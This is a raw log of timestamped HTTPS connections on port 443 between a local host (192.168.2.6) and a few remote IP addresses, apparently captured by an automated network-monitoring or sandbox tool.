Oct 23, 2024 21:04:34.344281912 CEST	443	49908	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.344289064 CEST	49908	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.344336987 CEST	49908	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.344378948 CEST	49908	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.344392061 CEST	443	49908	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.344402075 CEST	49908	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.344407082 CEST	443	49908	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.346882105 CEST	49915	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.346911907 CEST	443	49915	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.347028971 CEST	49915	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.347167969 CEST	49915	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.347181082 CEST	443	49915	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.392024994 CEST	443	49909	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.392600060 CEST	443	49909	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.392663002 CEST	49909	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.392740965 CEST	49909	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.392740965 CEST	49909	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.392754078 CEST	443	49909	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.392761946 CEST	443	49909	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.394983053 CEST	49916	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.395006895 CEST	443	49916	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.395183086 CEST	49916	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.395330906 CEST	49916	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.395344019 CEST	443	49916	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.408399105 CEST	443	49911	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.408454895 CEST	443	49911	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.408521891 CEST	49911	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.408592939 CEST	49911	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.408607006 CEST	443	49911	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.408657074 CEST	49911	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.408662081 CEST	443	49911	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.410933971 CEST	49917	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.410974979 CEST	443	49917	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.411050081 CEST	49917	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.411155939 CEST	49917	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.411171913 CEST	443	49917	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.412806034 CEST	443	49910	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.413474083 CEST	443	49910	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.413572073 CEST	443	49910	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.413574934 CEST	49910	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.413630009 CEST	49910	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.413677931 CEST	49910	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.413681984 CEST	443	49910	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.413690090 CEST	49910	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.413692951 CEST	443	49910	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.415622950 CEST	49918	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.415631056 CEST	443	49918	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.415719986 CEST	49918	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.415853024 CEST	49918	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.415864944 CEST	443	49918	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.462601900 CEST	443	49912	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.462661028 CEST	443	49912	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.462762117 CEST	49912	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.462773085 CEST	443	49912	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.462857962 CEST	443	49912	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.462908030 CEST	49912	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.463285923 CEST	49912	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.463299036 CEST	443	49912	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.463310957 CEST	49912	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.463324070 CEST	443	49912	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.465619087 CEST	49919	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.465636969 CEST	443	49919	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.465820074 CEST	49919	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.465975046 CEST	49919	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.465990067 CEST	443	49919	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.226510048 CEST	443	49914	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:35.226840973 CEST	49914	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:35.226860046 CEST	443	49914	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:35.227255106 CEST	443	49914	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:35.227705002 CEST	49914	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:35.227788925 CEST	443	49914	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:35.228101015 CEST	49914	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:35.230457067 CEST	443	49913	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:35.230539083 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:35.240081072 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:35.240098000 CEST	443	49913	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:35.240926027 CEST	443	49913	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:35.243649960 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:35.243712902 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:35.243719101 CEST	443	49913	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:35.243944883 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:35.271328926 CEST	443	49914	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:35.291327953 CEST	443	49913	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:35.362462997 CEST	443	49917	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.364886999 CEST	443	49915	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.366311073 CEST	443	49918	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.366697073 CEST	443	49919	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.368879080 CEST	443	49916	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.374192953 CEST	49916	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.374222994 CEST	443	49916	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.374752045 CEST	49916	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.374763966 CEST	443	49916	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.375385046 CEST	49919	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.375405073 CEST	443	49919	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.375945091 CEST	49919	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.375951052 CEST	443	49919	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.376295090 CEST	49917	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.376307964 CEST	443	49917	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.377072096 CEST	49917	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.377078056 CEST	443	49917	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.377373934 CEST	49915	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.377419949 CEST	443	49915	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.378051996 CEST	49915	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.378072977 CEST	443	49915	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.378628016 CEST	49918	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.378658056 CEST	443	49918	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.379242897 CEST	49918	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.379254103 CEST	443	49918	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.494781971 CEST	443	49913	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:35.508039951 CEST	443	49916	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.508117914 CEST	443	49916	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.508219957 CEST	443	49916	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.508229017 CEST	49916	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.508275032 CEST	49916	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.509890079 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:35.509912968 CEST	443	49913	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:35.509937048 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:35.510451078 CEST	443	49913	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:35.510524035 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:35.510540009 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:35.510546923 CEST	443	49917	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.510724068 CEST	443	49917	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.510905981 CEST	443	49915	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.510925055 CEST	443	49915	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.510958910 CEST	49917	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.510987043 CEST	49915	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.511035919 CEST	443	49915	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.511074066 CEST	49915	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.511112928 CEST	443	49919	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.511295080 CEST	443	49919	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.512850046 CEST	49919	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.515858889 CEST	443	49918	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.516794920 CEST	443	49918	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.520874977 CEST	49918	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.523734093 CEST	49916	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.523734093 CEST	49916	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.523751974 CEST	443	49916	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.523762941 CEST	443	49916	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.532030106 CEST	49919	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.532058954 CEST	443	49919	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.536547899 CEST	49917	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.536556005 CEST	443	49917	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.536577940 CEST	49917	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.536583900 CEST	443	49917	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.537424088 CEST	49918	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.537430048 CEST	443	49918	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.537442923 CEST	49918	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.537447929 CEST	443	49918	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.538050890 CEST	49915	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.538050890 CEST	49915	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.538081884 CEST	443	49915	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.538094997 CEST	443	49915	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.578178883 CEST	49920	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.578202963 CEST	443	49920	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.578309059 CEST	49920	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.580269098 CEST	49921	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.580295086 CEST	443	49921	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.580389977 CEST	49921	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.581218958 CEST	49922	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.581238031 CEST	443	49922	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.581648111 CEST	49922	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.583336115 CEST	49923	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.583345890 CEST	443	49923	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.583494902 CEST	49923	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.583714962 CEST	49920	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.583729982 CEST	443	49920	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.583870888 CEST	49923	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.583880901 CEST	443	49923	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.584036112 CEST	49921	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.584045887 CEST	443	49921	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.584237099 CEST	49922	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.584247112 CEST	443	49922	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.584909916 CEST	49924	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.584944963 CEST	443	49924	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.585175991 CEST	49924	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.585366964 CEST	49924	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:35.585377932 CEST	443	49924	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:35.774941921 CEST	443	49914	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:35.775021076 CEST	443	49914	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:35.775077105 CEST	49914	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:35.776103020 CEST	49914	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:35.776113987 CEST	443	49914	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:35.781440020 CEST	49925	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:35.781459093 CEST	443	49925	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:35.781725883 CEST	49925	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:35.785490990 CEST	49925	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:35.785504103 CEST	443	49925	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:36.345948935 CEST	443	49923	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.346698046 CEST	49923	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.346712112 CEST	443	49923	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.347547054 CEST	49923	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.347552061 CEST	443	49923	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.348800898 CEST	443	49922	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.349917889 CEST	49922	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.349931002 CEST	443	49922	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.350435019 CEST	443	49920	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.351208925 CEST	49922	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.351213932 CEST	443	49922	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.351726055 CEST	49920	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.351737976 CEST	443	49920	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.352813005 CEST	49920	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.352817059 CEST	443	49920	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.353647947 CEST	443	49924	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.354041100 CEST	49924	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.354058981 CEST	443	49924	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.356074095 CEST	49924	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.356079102 CEST	443	49924	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.360933065 CEST	443	49921	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.361882925 CEST	49921	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.361903906 CEST	443	49921	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.363058090 CEST	49921	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.363064051 CEST	443	49921	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.483613968 CEST	443	49923	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.484384060 CEST	443	49923	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.484504938 CEST	49923	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.484642029 CEST	49923	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.484653950 CEST	443	49923	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.484700918 CEST	49923	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.484707117 CEST	443	49923	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.486386061 CEST	443	49922	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.486462116 CEST	443	49922	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.486573935 CEST	443	49922	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.486643076 CEST	49922	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.488449097 CEST	49922	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.488460064 CEST	443	49922	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.489316940 CEST	443	49920	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.489392996 CEST	443	49920	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.489470959 CEST	49920	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.489478111 CEST	443	49920	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.489501953 CEST	443	49920	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.489594936 CEST	49920	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.492513895 CEST	49926	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.492542982 CEST	443	49926	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.492813110 CEST	49926	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.493084908 CEST	49920	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.493102074 CEST	443	49920	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.493151903 CEST	49920	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.493156910 CEST	443	49920	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.495968103 CEST	49926	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.495989084 CEST	443	49926	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.496999025 CEST	443	49925	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:36.499373913 CEST	49927	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.499408007 CEST	443	49927	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.499574900 CEST	49927	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.500684023 CEST	443	49921	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.500828028 CEST	443	49921	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.501164913 CEST	49921	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.501481056 CEST	49921	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.501502037 CEST	443	49921	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.501532078 CEST	49921	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.501538038 CEST	443	49921	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.502721071 CEST	49928	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.502732992 CEST	443	49928	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.503194094 CEST	49928	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.503528118 CEST	49928	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.503540039 CEST	443	49928	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.503829002 CEST	49925	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:36.503838062 CEST	443	49925	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:36.504229069 CEST	443	49925	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:36.504256010 CEST	49927	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.504270077 CEST	443	49927	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.507000923 CEST	49925	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:36.507112026 CEST	443	49925	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:36.507242918 CEST	49925	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:36.508671045 CEST	49929	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.508696079 CEST	443	49929	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.508851051 CEST	49929	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.509071112 CEST	49929	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.509083033 CEST	443	49929	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.547348022 CEST	443	49925	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:36.558521986 CEST	49925	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:36.641536951 CEST	443	49924	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.641570091 CEST	443	49924	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.641617060 CEST	443	49924	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.641623020 CEST	49924	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.641664028 CEST	49924	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.642077923 CEST	49924	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.642086029 CEST	443	49924	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.642098904 CEST	49924	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.642102957 CEST	443	49924	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.648683071 CEST	49930	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.648693085 CEST	443	49930	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:36.648801088 CEST	49930	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.649136066 CEST	49930	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:36.649147987 CEST	443	49930	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.018294096 CEST	443	49925	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:37.018493891 CEST	443	49925	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:37.018573046 CEST	49925	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:37.025363922 CEST	49925	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:37.025374889 CEST	443	49925	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:37.257365942 CEST	443	49926	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.257998943 CEST	49926	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.258021116 CEST	443	49926	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.258522034 CEST	49926	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.258529902 CEST	443	49926	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.260080099 CEST	443	49929	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.260867119 CEST	49929	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.260885954 CEST	443	49929	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.261353016 CEST	49929	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.261358023 CEST	443	49929	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.269525051 CEST	443	49928	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.269745111 CEST	443	49927	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.269901037 CEST	49928	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.269921064 CEST	443	49928	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.270303011 CEST	49928	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.270307064 CEST	443	49928	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.270781994 CEST	49927	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.270793915 CEST	443	49927	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.271330118 CEST	49927	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.271334887 CEST	443	49927	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.396091938 CEST	443	49926	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.396246910 CEST	443	49926	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.396373034 CEST	49926	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.396397114 CEST	49926	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.396409035 CEST	443	49926	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.396425009 CEST	49926	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.396430016 CEST	443	49926	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.398324966 CEST	443	49929	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.398392916 CEST	443	49929	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.398555040 CEST	49929	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.398749113 CEST	49929	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.398761988 CEST	443	49929	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.398772001 CEST	49929	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.398777008 CEST	443	49929	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.399240971 CEST	49931	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.399260044 CEST	443	49931	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.399327993 CEST	49931	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.399446011 CEST	49931	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.399456024 CEST	443	49931	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.401138067 CEST	49932	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.401165009 CEST	443	49932	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:37.401372910 CEST	49932	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:37.401514053 CEST	49932	443	192.168.2.6	13.107.253.45
